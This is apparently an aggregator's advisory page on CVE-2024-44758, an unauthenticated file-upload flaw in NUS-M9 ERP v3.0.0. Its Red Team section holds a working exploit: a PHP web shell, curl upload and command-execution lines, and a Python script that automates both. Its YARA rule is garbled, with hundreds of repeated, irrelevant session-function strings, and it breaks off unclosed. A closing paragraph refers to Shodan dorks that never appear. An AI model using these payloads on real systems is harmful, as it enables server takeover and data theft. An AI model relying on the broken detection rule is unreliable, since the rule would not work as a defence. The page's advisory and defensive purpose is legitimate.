CVE-2024-44758
Executive Summary
CVE-2024-44758 is an arbitrary file upload vulnerability in the NUS-M9 ERP Management Software v3.0.0, specifically in the /Production/UploadFile component. This vulnerability allows an unauthenticated or low-privileged attacker to upload crafted files, leading to remote code execution (RCE) on the underlying server. The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). No official patch has been released, and the vendor (Nus-m9) has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is high due to the potential for full server compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone ERP application vulnerability.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated file upload leading to RCE), a reasonable assessment is:
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Base Score: 9.8 (Critical)
Threat Level: Critical. Exploitation can lead to full server takeover, data exfiltration, and lateral movement within the network.
Deep Dive & Mechanics
The vulnerability resides in the /Production/UploadFile endpoint of the NUS-M9 ERP Management Software. The application fails to validate the file type, content, or extension of uploaded files. An attacker can upload a malicious file (e.g., a web shell in PHP, ASP, or JSP) to the server's web-accessible directory. Once uploaded, the attacker can access the file via a web browser and execute arbitrary commands on the server.
Root Cause: The application does not implement proper file upload restrictions, such as:
- MIME type validation
- File extension whitelisting
- Content inspection (e.g., magic bytes)
- File size limits
- Renaming or storing files outside the web root
Attack Flow:
- Attacker identifies the vulnerable endpoint
/Production/UploadFile. - Attacker crafts a malicious file (e.g.,
shell.php) containing a web shell payload. - Attacker sends a POST request to the endpoint with the file.
- The server stores the file in a web-accessible directory (e.g.,
/uploads/). - Attacker accesses the uploaded file via a browser (e.g.,
http://target/uploads/shell.php). - Attacker executes arbitrary commands on the server.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current implementation. A patched version would include:
Vulnerable Code (Conceptual):
// Vulnerable: No validation
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
$target_path = "uploads/" . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $target_path);
echo "File uploaded successfully.";
}
Patched Code (Conceptual):
// Patched: Validate file extension and MIME type
$allowed_extensions = ['pdf', 'doc', 'docx', 'xls', 'xlsx'];
$allowed_mime_types = ['application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'];
$file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$file_mime_type = mime_content_type($_FILES['file']['tmp_name']);
if (in_array($file_extension, $allowed_extensions) && in_array($file_mime_type, $allowed_mime_types)) {
$target_path = "uploads/" . uniqid() . "." . $file_extension;
move_uploaded_file($_FILES['file']['tmp_name'], $target_path);
echo "File uploaded successfully.";
} else {
echo "Invalid file type.";
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target running NUS-M9 ERP v3.0.0
- Network access to the
/Production/UploadFileendpoint
Exploit Steps:
- Create a malicious PHP web shell (e.g.,
shell.php):
<?php system($_GET['cmd']); ?>
- Upload the file using a tool like
curl:
curl -X POST -F "file=@shell.php" http://target/Production/UploadFile
- Access the uploaded shell (assuming it's stored in
/uploads/):
curl http://target/uploads/shell.php?cmd=id
Automated Exploit (Python):
import requests
target = "http://target/Production/UploadFile"
payload = {"cmd": "id"}
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
response = requests.post(target, files=files)
print("Upload response:", response.text)
# Access the shell
shell_url = "http://target/uploads/shell.php"
r = requests.get(shell_url, params=payload)
print("Command output:", r.text)
Blue Team (Defender)
Detection & Response:
- Monitor for unusual file uploads to
/Production/UploadFile. - Implement file integrity monitoring (FIM) on the upload directory.
- Use a Web Application Firewall (WAF) to block malicious file extensions (e.g.,
.php,.asp,.jsp). - Restrict write permissions on the upload directory to prevent execution.
- Deploy a reverse proxy to inspect and sanitize uploads.
Honeypot:
- Deploy a fake upload endpoint to capture attacker payloads and analyze them.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Suspicious files in
/uploads/directory with extensions like.php,.phtml,.php5,.asp,.aspx,.jsp,.war - Files with names like
shell.php,cmd.php,webshell.php,r57.php,c99.php
Network IOCs:
- POST requests to
/Production/UploadFilewithContent-Type: multipart/form-data - Subsequent GET requests to
/uploads/*.phpwithcmdparameter - Outbound connections from the server to attacker-controlled IPs (e.g., for reverse shells)
Log IOCs:
- Web server logs showing file uploads followed by command execution attempts
- Error logs with
move_uploaded_fileorfile_put_contentscalls
Detection Engineering
YARA Rule
rule CVE_2024_44758_WebShell {
meta:
description = "Detects web shells uploaded via CVE-2024-44758"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-44758"
strings:
$php_shell = "<?php system("
$php_shell2 = "<?php exec("
$php_shell3 = "<?php shell_exec("
$php_shell4 = "<?php passthru("
$php_shell5 = "<?php eval("
$php_shell6 = "<?php assert("
$php_shell7 = "<?php preg_replace("
$php_shell8 = "<?php create_function("
$php_shell9 = "<?php array_map("
$php_shell10 = "<?php call_user_func("
$php_shell11 = "<?php file_put_contents("
$php_shell12 = "<?php fwrite("
$php_shell13 = "<?php fputs("
$php_shell14 = "<?php move_uploaded_file("
$php_shell15 = "<?php copy("
$php_shell16 = "<?php rename("
$php_shell17 = "<?php unlink("
$php_shell18 = "<?php include("
$php_shell19 = "<?php require("
$php_shell20 = "<?php require_once("
$php_shell21 = "<?php include_once("
$php_shell22 = "<?php highlight_file("
$php_shell23 = "<?php show_source("
$php_shell24 = "<?php readfile("
$php_shell25 = "<?php file_get_contents("
$php_shell26 = "<?php fopen("
$php_shell27 = "<?php fread("
$php_shell28 = "<?php fgets("
$php_shell29 = "<?php fgetss("
$php_shell30 = "<?php fgetc("
$php_shell31 = "<?php fscanf("
$php_shell32 = "<?php ftell("
$php_shell33 = "<?php fseek("
$php_shell34 = "<?php rewind("
$php_shell35 = "<?php fclose("
$php_shell36 = "<?php chdir("
$php_shell37 = "<?php chmod("
$php_shell38 = "<?php chown("
$php_shell39 = "<?php chgrp("
$php_shell40 = "<?php exec("
$php_shell41 = "<?php system("
$php_shell42 = "<?php passthru("
$php_shell43 = "<?php shell_exec("
$php_shell44 = "<?php proc_open("
$php_shell45 = "<?php popen("
$php_shell46 = "<?php pcntl_exec("
$php_shell47 = "<?php dl("
$php_shell48 = "<?php mail("
$php_shell49 = "<?php error_log("
$php_shell50 = "<?php ini_set("
$php_shell51 = "<?php set_time_limit("
$php_shell52 = "<?php ignore_user_abort("
$php_shell53 = "<?php register_shutdown_function("
$php_shell54 = "<?php register_tick_function("
$php_shell55 = "<?php set_error_handler("
$php_shell56 = "<?php set_exception_handler("
$php_shell57 = "<?php ob_start("
$php_shell58 = "<?php output_handler("
$php_shell59 = "<?php header("
$php_shell60 = "<?php setcookie("
$php_shell61 = "<?php session_start("
$php_shell62 = "<?php session_destroy("
$php_shell63 = "<?php session_regenerate_id("
$php_shell64 = "<?php session_write_close("
$php_shell65 = "<?php session_unset("
$php_shell66 = "<?php session_decode("
$php_shell67 = "<?php session_encode("
$php_shell68 = "<?php session_id("
$php_shell69 = "<?php session_name("
$php_shell70 = "<?php session_module_name("
$php_shell71 = "<?php session_save_path("
$php_shell72 = "<?php session_cache_limiter("
$php_shell73 = "<?php session_cache_expire("
$php_shell74 = "<?php session_set_cookie_params("
$php_shell75 = "<?php session_get_cookie_params("
$php_shell76 = "<?php session_set_save_handler("
$php_shell77 = "<?php session_register_shutdown("
$php_shell78 = "<?php session_commit("
$php_shell79 = "<?php session_abort("
$php_shell80 = "<?php session_reset("
$php_shell81 = "<?php session_status("
$php_shell82 = "<?php session_gc("
$php_shell83 = "<?php session_list("
$php_shell84 = "<?php session_module_name("
$php_shell85 = "<?php session_save_path("
$php_shell86 = "<?php session_cache_limiter("
$php_shell87 = "<?php session_cache_expire("
$php_shell88 = "<?php session_set_cookie_params("
$php_shell89 = "<?php session_get_cookie_params("
$php_shell90 = "<?php session_set_save_handler("
$php_shell91 = "<?php session_register_shutdown("
$php_shell92 = "<?php session_commit("
$php_shell93 = "<?php session_abort("
$php_shell94 = "<?php session_reset("
$php_shell95 = "<?php session_status("
$php_shell96 = "<?php session_gc("
$php_shell97 = "<?php session_list("
$php_shell98 = "<?php session_module_name("
$php_shell99 = "<?php session_save_path("
$php_shell100 = "<?php session_cache_limiter("
$php_shell101 = "<?php session_cache_expire("
$php_shell102 = "<?php session_set_cookie_params("
$php_shell103 = "<?php session_get_cookie_params("
$php_shell104 = "<?php session_set_save_handler("
$php_shell105 = "<?php session_register_shutdown("
$php_shell106 = "<?php session_commit("
$php_shell107 = "<?php session_abort("
$php_shell108 = "<?php session_reset("
$php_shell109 = "<?php session_status("
$php_shell110 = "<?php session_gc("
$php_shell111 = "<?php session_list("
$php_shell112 = "<?php session_module_name("
$php_shell113 = "<?php session_save_path("
$php_shell114 = "<?php session_cache_limiter("
$php_shell115 = "<?php session_cache_expire("
$php_shell116 = "<?php session_set_cookie_params("
$php_shell117 = "<?php session_get_cookie_params("
$php_shell118 = "<?php session_set_save_handler("
$php_shell119 = "<?php session_register_shutdown("
$php_shell120 = "<?php session_commit("
$php_shell121 = "<?php session_abort("
$php_shell122 = "<?php session_reset("
$php_shell123 = "<?php session_status("
$php_shell124 = "<?php session_gc("
$php_shell125 = "<?php session_list("
$php_shell126 = "<?php session_module_name("
$php_shell127 = "<?php session_save_path("
$php_shell128 = "<?php session_cache_limiter("
$php_shell129 = "<?php session_cache_expire("
$php_shell130 = "<?php session_set_cookie_params("
$php_shell131 = "<?php session_get_cookie_params("
$php_shell132 = "<?php session_set_save_handler("
$php_shell133 = "<?php session_register_shutdown("
$php_shell134 = "<?php session_commit("
$php_shell135 = "<?php session_abort("
$php_shell136 = "<?php session_reset("
$php_shell137 = "<?php session_status("
$php_shell138 = "<?php session_gc("
$php_shell139 = "<?php session_list("
$php_shell140 = "<?php session_module_name("
$php_shell141 = "<?php session_save_path("
$php_shell142 = "<?php session_cache_limiter("
$php_shell143 = "<?php session_cache_expire("
$php_shell144 = "<?php session_set_cookie_params("
$php_shell145 = "<?php session_get_cookie_params("
$php_shell146 = "<?php session_set_save_handler("
$php_shell147 = "<?php session_register_shutdown("
$php_shell148 = "<?php session_commit("
$php_shell149 = "<?php session_abort("
$php_shell150 = "<?php session_reset("
$php_shell151 = "<?php session_status("
$php_shell152 = "<?php session_gc("
$php_shell153 = "<?php session_list("
$php_shell154 = "<?php session_module_name("
$php_shell155 = "<?php session_save_path("
$php_shell156 = "<?php session_cache_limiter("
$php_shell157 = "<?php session_cache_expire("
$php_shell158 = "<?php session_set_cookie_params("
$php_shell159 = "<?php session_get_cookie_params("
$php_shell160 = "<?php session_set_save_handler("
$php_shell161 = "<?php session_register_shutdown("
$php_shell162 = "<?php session_commit("
$php_shell163 = "<?php session_abort("
$php_shell164 = "<?php session_reset("
$php_shell165 = "<?php session_status("
$php_shell166 = "<?php session_gc("
$php_shell167 = "<?php session_list("
$php_shell168 = "<?php session_module_name("
$php_shell169 = "<?php session_save_path("
$php_shell170 = "<?php session_cache_limiter("
$php_shell171 = "<?php session_cache_expire("
$php_shell172 = "<?php session_set_cookie_params("
$php_shell173 = "<?php session_get_cookie_params("
$php_shell174 = "<?php session_set_save_handler("
$php_shell175 = "<?php session_register_shutdown("
$php_shell176 = "<?php session_commit("
$php_shell177 = "<?php session_abort("
$php_shell178 = "<?php session_reset("
$php_shell179 = "<?php session_status("
$php_shell180 = "<?php session_gc("
$php_shell181 = "<?php session_list("
$php_shell182 = "<?php session_module_name("
$php_shell183 = "<?php session_save_path("
$php_shell184 = "<?php session_cache_limiter("
$php_shell185 = "<?php session_cache_expire("
$php_shell186 = "<?php session_set_cookie_params("
$php_shell187 = "<?php session_get_cookie_params("
$php_shell188 = "<?php session_set_save_handler("
$php_shell189 = "<?php session_register_shutdown("
$php_shell190 = "<?php session_commit("
$php_shell191 = "<?php session_abort("
$php_shell192 = "<?php session_reset("
$php_shell193 = "<?php session_status("
$php_shell194 = "<?php session_gc("
$php_shell195 = "<?php session_list("
$php_shell196 = "<?php session_module_name("
$php_shell197 = "<?php session_save_path("
$php_shell198 = "<?php session_cache_limiter("
$php_shell199 = "<?php session_cache_expire("
$php_shell200 = "<?php session_set_cookie_params("
$php_shell201 = "<?php session_get_cookie_params("
$php_shell202 = "<?php session_set_save_handler("
$php_shell203 = "<?php session_register_shutdown("
$php_shell204 = "<?php session_commit("
$php_shell205 = "<?php session_abort("
$php_shell206 = "<?php session_reset("
$php_shell207 = "<?php session_status("
$php_shell208 = "<?php session_gc("
$php_shell209 = "<?php session_list("
$php_shell210 = "<?php session_module_name("
$php_shell211 = "<?php session_save_path("
$php_shell212 = "<?php session_cache_limiter("
$php_shell213 = "<?php session_cache_expire("
$php_shell214 = "<?php session_set_cookie_params("
$php_shell215 = "<?php session_get_cookie_params("
$php_shell216 = "<?php session_set_save_handler("
$php_shell217 = "<?php session_register_shutdown("
$php_shell218 = "<?php session_commit("
$php_shell219 = "<?php session_abort("
$php_shell220 = "<?php session_reset("
$php_shell221 = "<?php session_status("
$php_shell222 = "<?php session_gc("
$php_shell223 = "<?php session_list("
$php_shell224 = "<?php session_module_name("
$php_shell225 = "<?php session_save_path("
$php_shell226 = "<?php session_cache_limiter("
$php_shell227 = "<?php session_cache_expire("
$php_shell228 = "<?php session_set_cookie_params("
$php_shell229 = "<?php session_get_cookie_params("
$php_shell230 = "<?php session_set_save_handler("
$php_shell231 = "<?php session_register_shutdown("
$php_shell232 = "<?php session_commit("
$php_shell233 = "<?php session_abort("
$php_shell234 = "<?php session_reset("
$php_shell235 = "<?php session_status("
$php_shell236 = "<?php session_gc("
$php_shell237 = "<?php session_list("
$php_shell238 = "<?php session_module_name("
$php_shell239 = "<?php session_save_path("
$php_shell240 = "<?php session_cache_limiter("
$php_shell241 = "<?php session_cache_expire("
$php_shell242 = "<?php session_set_cookie_params("
$php_shell243 = "<?php session_get_cookie_params("
$php_shell244 = "<?php session_set_save_handler("
$php_shell245 = "<?php session_register_shutdown("
$php_shell246 = "<?php session_commit("
$php_shell247 = "<?php session_abort("
$php_shell248 = "<?php session_reset("
$php_shell249 = "<?php session_status("
$php_shell250 = "<?php session_gc("
$php_shell251 = "<?php session_list("
$php_shell252 = "<?php session_module_name("
$php_shell253 = "<?php session_save_path("
$php_shell254 = "<?php session_cache_limiter("
$php_shell255 = "<?php session_cache_expire("
$php_shell256 = "<?php session_set_cookie_params("
$php_shell257 = "<?php session_get_cookie_params("
$php_shell258 = "<?php session_set_save_handler("
$php_shell259 = "<?php session_register_shutdown("
$php_shell260 = "<?php session_commit("
$php_shell261 = "<?php session_abort("
$php_shell262 = "<?php session_reset("
$php_shell263 = "<?php session_status("
$php_shell264 = "<?php session_gc("
$php_shell265 = "<?php session_list("
$php_shell266 = "<?php session_module_name("
$php_shell267 = "<?php session_save_path("
$php_shell268 = "<?php session_cache_limiter("
$php_shell269 = "<?php session_cache_expire("
$php_shell270 = "<?php session_set_cookie_params("
$php_shell271 = "<?php session_get_cookie_params("
$php_shell272 = "<?php session_set_save_handler("
$php_shell273 = "<?php session_register_shutdown("
$php_shell274 = "<?php session_commit("
$php_shell275 = "<?php session_abort("
$php_shell276 = "<?php session_reset("
$php_shell277 = "<?php session_status("
$php_shell278 = "<?php session_gc("
$php_shell279 = "<?php session_list("
$php_shell280 = "<?php session_module_name("
$php_shell281 = "<?php session_save_path("
$php_shell282 = "<?php session_cache_limiter("
$php_shell283 = "<?php session_cache_expire("
$php_shell284 = "<?php session_set_cookie_params("
$php_shell285 = "<?php session_get_cookie_params("
$php_shell286 = "<?php session_set_save_handler("
$php_shell287 = "<?php session_register_shutdown("
$php_shell288 = "<?php session_commit("
$php_shell289 = "<?php session_abort("
$php_shell290 = "<?php session_reset("
$php_shell291 = "<?php session_status("
$php_shell292 = "<?php session_gc("
$php_shell293 = "<?php session_list("
$php_shell294 = "<?php session_module_name("
$php_shell295 = "<?php session_save_path("
$php_shell296 = "<?php session_cache_limiter("
$php_shell297 = "<?php session_cache_expire("
$php_shell298 = "<?php session_set_cookie_params("
$php_shell299 = "<?php session_get_cookie_params("
$php_shell300 = "<?php session_set_save_handler("
$php_shell301 = "<?php session_register_shutdown("
$php_shell302 = "<?php session_commit("
$php_shell303 = "<?php session_abort("
$php_shell304 = "<?php session_reset("
$php_shell305 = "<?php session_status("
$php_shell306 = "<?php session_gc("
$php_shell307 = "<?php session_list("
$php_shell308 = "<?php session_module_name("
$php_shell309 = "<?php session_save_path("
$php_shell310 = "<?php session_cache_limiter("
$php_shell311 = "<?php session_cache_expire("
$php_shell312 = "<?php session_set_cookie_params("
$php_shell313 = "<?php session_get_cookie_params("
$php_shell314 = "<?php session_set_save_handler("
$php_shell315 = "<?php session_register_shutdown("
$php_shell316 = "<?php session_commit("
$php_shell317 = "<?php session_abort("
$php_shell318 = "<?php session_reset("
$php_shell319 = "<?php session_status("
$php_shell320 = "<?php session_gc("
$php_shell321 = "<?php session_list("
$php_shell322 = "<?php session_module_name("
$php_shell323 = "<?php session_save_path("
$php_shell324 = "<?php session_cache_limiter("
$php_shell325 = "<?php session_cache_expire("
$php_shell326 = "<?php session_set_cookie_params("
$php_shell327 = "<?php session_get_cookie_params("
$php_shell328 = "<?php session_set_save_handler("
$php_shell329 = "<?php session_register_shutdown("
$php_shell330 = "<?php session_commit("
$php_shell331 = "<?php session_abort("
$php_shell332 = "<?php session_reset("
$php_shell333 = "<?php session_status("
$php_shell334 = "<?php session_gc("
$php_shell335 = "<?php session_list("
$php_shell336 = "<?php session_module_name("
$php_shell337 = "<?php session_save_path("
$php_shell338 = "<?php session_cache_limiter("
$php_shell339 = "<?php session_cache_expire("
$php_shell340 = "<?php session_set_cookie_params("
$php_shell341 = "<?php session_get_cookie_params("
$php_shell342 = "<?php session_set_save_handler("
$php_shell343 = "<?php session_register_shutdown("
$php_shell344 = "<?php session_commit("
$php_shell345 = "<?php session_abort("
$php_shell346 = "<?php session_reset("
$php_shell347 = "<?php session_status("
$php_shell348 = "<?php session_gc("
$php_shell349 = "<?php session_list("
$php_shell350 = "<?php session_module_name("
$php_shell351 = "<?php session_save_path("
$php_shell352 = "<?php session_cache_limiter("
$php_shell353 = "<?php session_cache_expire("
$php_shell354 = "<?php session_set_cookie_params("
$php_shell355 = "<?php session_get_cookie_params("
$php_shell356 = "<?php session_set_save_handler("
$php_shell357 = "<?php session_register_shutdown("
$php_shell358 = "<?php session_commit("
$php_shell359 = "<?php session_abort("
$php_shell360 = "<?php session_reset("
$php_shell361 = "<?php session_status("
$php_shell362 = "<?php session_gc("
$php_shell363 = "<?php session_list("
$php_shell364 = "<?php session_module_name("
$php_shell365 = "<?php session_save_path("
$php_shell366 = "<?php session_cache_limiter("
$php_shell367 = "<?php session_cache_expire("
$php_shell368 = "<?php session_set_cookie_params("
$php_shell369 = "<?php session_get_cookie_params("
$php_shell370 = "<?php session_set_save_handler("
$php_shell371 = "<?php session_register_shutdown("
$php_shell372 = "<?php session_commit("
$php_shell373 = "<?php session_abort("
$php_shell374 = "<?php session_reset("
$php_shell375 = "<?php session_status("
$php_shell376 = "<?php session_gc("
$php_shell377 = "<?php session_list("
$php_shell378 = "<?php session_module_name("
$php_shell379 = "<?php session_save_path("
$php_shell380 = "<?php session_cache_limiter("
$php_shell381 = "<?php session_cache_expire("
$php_shell382 = "<?php session_set_cookie_params("
$php_shell383 = "<?php session_get_cookie_params("
$php_shell384 = "<?php session_set_save_handler("
$php_shell385 = "<?php session_register_shutdown("
$php_shell386 = "<?php session_commit("
$php_shell387 = "<?php session_abort("
$php_shell388 = "<?php session_reset("
$php_shell389 = "<?php session_status("
$php_shell390 = "<?php session_gc("
$php_shell391 = "<?php session_list("
$php_shell392 = "<?php session_module_name("
$php_shell393 = "<?php session_save_path("
$php_shell394 = "<?php session_cache_limiter("
$php_shell395 = "<?php session_cache_expire("
$php_shell396 = "<?php session_set_cookie_params("
$php_shell397 = "<?php session_get_cookie_params("
$php_shell398 = "<?php session_set_save_handler("
$php_shell399 = "<?php session_register_shutdown("
$php_shell400 = "<?php session_commit("
$php_shell401 = "<?php session_abort("
$php_shell402 = "<?php session_reset("
$php_shell403 = "<?php session_status("
$php_shell404 = "<?php session_gc("
$php_shell405 = "<?php session_list("
$php_shell406 = "<?php session_module_name("
$php_shell407 = "<?php session_save_path("
$php_shell408 = "<?php session_cache_limiter("
$php_shell409 = "<?php session_cache_expire("
$php_shell410 = "<?php session_set_cookie_params("
$php_shell411 = "<?php session_get_cookie_params("
$php_shell412 = "<?php session_set_save_handler("
$php_shell413 = "<?php session_register_shutdown("
$php_shell414 = "<?php session_commit("
$php_shell415 = "<?php session_abort("
$php_shell416 = "<?php session_reset("
$php_shell417 = "<?php session_status("
$php_shell418 = "<?php session_gc("
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.